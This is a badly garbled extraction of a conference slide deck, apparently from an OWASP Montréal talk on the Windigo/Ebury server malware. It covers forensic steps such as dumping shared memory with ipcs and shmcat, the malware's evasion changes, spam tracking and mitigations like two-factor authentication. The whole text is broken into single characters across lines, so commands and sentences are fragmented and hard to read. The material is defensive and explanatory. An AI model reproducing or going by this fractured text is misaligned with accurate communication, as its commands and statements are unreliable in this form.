t
e a
n
y l
o
c
a
l a
n
y t
t
l i
n
h
e
r
i
t n
o
p
m
t
u
d
i
s
c
t
u
n
1
0
: i
p
/
i
p r
e
m
o
t
e x
x
.
x
x
.
2
0
1
.
3
4 l
o
c
a
l x
x
x
.
x
x
x
.
2
3
2
.
1
8 d
e
v e
t
h
0 t
t
l i
n
h
e
r
i
t
s
i
t
0
: i
p
v
6
/
i
p r
e
m
o
t
e a
n
y l
o
c
a
l a
n
y t
t
l 6
4 n
o
p
m
t
u
d
i
s
c
1
0
.
1
2
.
1
2
.
0
/
3
0 d
e
v t
u
n
1
0 p
r
o
t
o k
e
r
n
e
l s
c
o
p
e l
i
n
k s
r
c 1
0
.
1
2
.
1
2
.
2
i
p
t
a
b
l
e
s -
t n
a
t -
L -
n
v
post
routing source NAT to map tunnel traffic to
e
t
h
0
IP

View Slide

Shared Memory Analysis
s
h
m
: POSIX Shared Memory
(an IPC mechanism
)
i
p
c
s
s
h
m
c
a
t
, http
://sourceforge
.net
/projects
/shmcat
/

View Slide

Shared Memory Analysis
Dump Shared Segment
# i
p
c
s -
m
-
-
-
-
-
- S
h
a
r
e
d M
e
m
o
r
y S
e
g
m
e
n
t
s -
-
-
-
-
-
-
-
k
e
y s
h
m
i
d o
w
n
e
r p
e
r
m
s b
y
t
e
s n
a
t
t
c
h
[
.
.
.
]
0
x
0
0
0
0
1
0
e
0 4
6
5
2
7
2
8
3
6 r
o
o
t 6
0
0 3
2
8
2
3
1
2 0
# i
p
c
s -
m -
p
-
-
-
-
-
- S
h
a
r
e
d M
e
m
o
r
y C
r
e
a
t
o
r
/
L
a
s
t
-
o
p P
I
D
s -
-
-
-
-
-
-
-
s
h
m
i
d o
w
n
e
r c
p
i
d l
p
i
d
[
.
.
.
]
4
6
5
2
7
2
8
3
6 r
o
o
t 1
5
0
2
9 1
7
3
7
7
# p
s a
u
x | g
r
e
p 1
5
0
2
9
[
.
.
.
]
r
o
o
t 1
5
0
2
9 0
.
0 0
.
0 6
6
3
0
0 1
2
0
4 ? S
s J
a
n
2
6 0
:
0
0 /
u
s
r
/
s
b
i
n
/
s
s
h
d
# s
h
m
c
a
t -
m 4
6
5
2
7
2
8
3
6 > s
h
m
_
d
u
m
p

View Slide

Recap
Use out
of
band whenever possible
Dump processes memory and content of
/
p
r
o
c
before
killing a process
Look for network configuration modifications

View Slide

Automating defense

View Slide

Indicators of Compromise
We released so
called IOCs
[BEST
] Contact us
:
https
://github
.com
/eset
/malware

ioc
/tree
/master
/windigo
https
://www
.cert
bund
.de
/ebury
faq
windigo
@eset
.sk

View Slide

Arms race
Shared memory
Originally
, a shared memory with permission
666 (r
w
-
r
w
-
r
w
-
) was present
Changed permission to
600 (r
w
-
-
-
-
-
-
-
)
Doesn
’t use shared memory anymore
: use Unix socket
instead

View Slide

Arms race
Infected file
Modify system
’s
s
s
h
, s
s
h
d
and
s
s
h
-
a
d
d
Infect a file system library
(l
i
b
k
e
y
u
t
i
l
s
.
s
o
)
Drop a new library file
(l
i
b
n
s
2
.
s
o
), leaving
l
i
b
k
e
y
u
t
i
l
s
.
s
o
size unchanged
Change the library name

View Slide

Tracking Calfbot
’s spam
Run a modified
"inactive
" Perl malware
T
E
S
T
S
E
N
D
command is sent to check if compromised
server can send spam
Implemented
T
E
S
T
S
E
N
D
but not
S
E
N
D
command
There
’s no
T
E
S
T
S
E
N
D
anymore
, more difficult to track

View Slide

Reaction example

View Slide

Mitigation
Use two factor authentication
It
’s important on a server
.

View Slide

Mitigation
Don
’t copy private key if you don
’t have to

View Slide

Closing words
You can help fight this threat
!
Spread the word on detection and prevention techniques
Help cleaning infected systems
Send us anything suspect you find
!
windigo
@eset
.sk

View Slide

:~$ logout
Thanks
!
Questions
?
@marc
_etienne
_
windigo
@eset
.sk

View Slide

Malware côté serveur par Marc-Etienne M.Léveillé

Malware côté serveur par Marc-Etienne M.Léveillé

OWASP Montréal

More Decks by OWASP Montréal

Other Decks in Technology

Featured

Transcript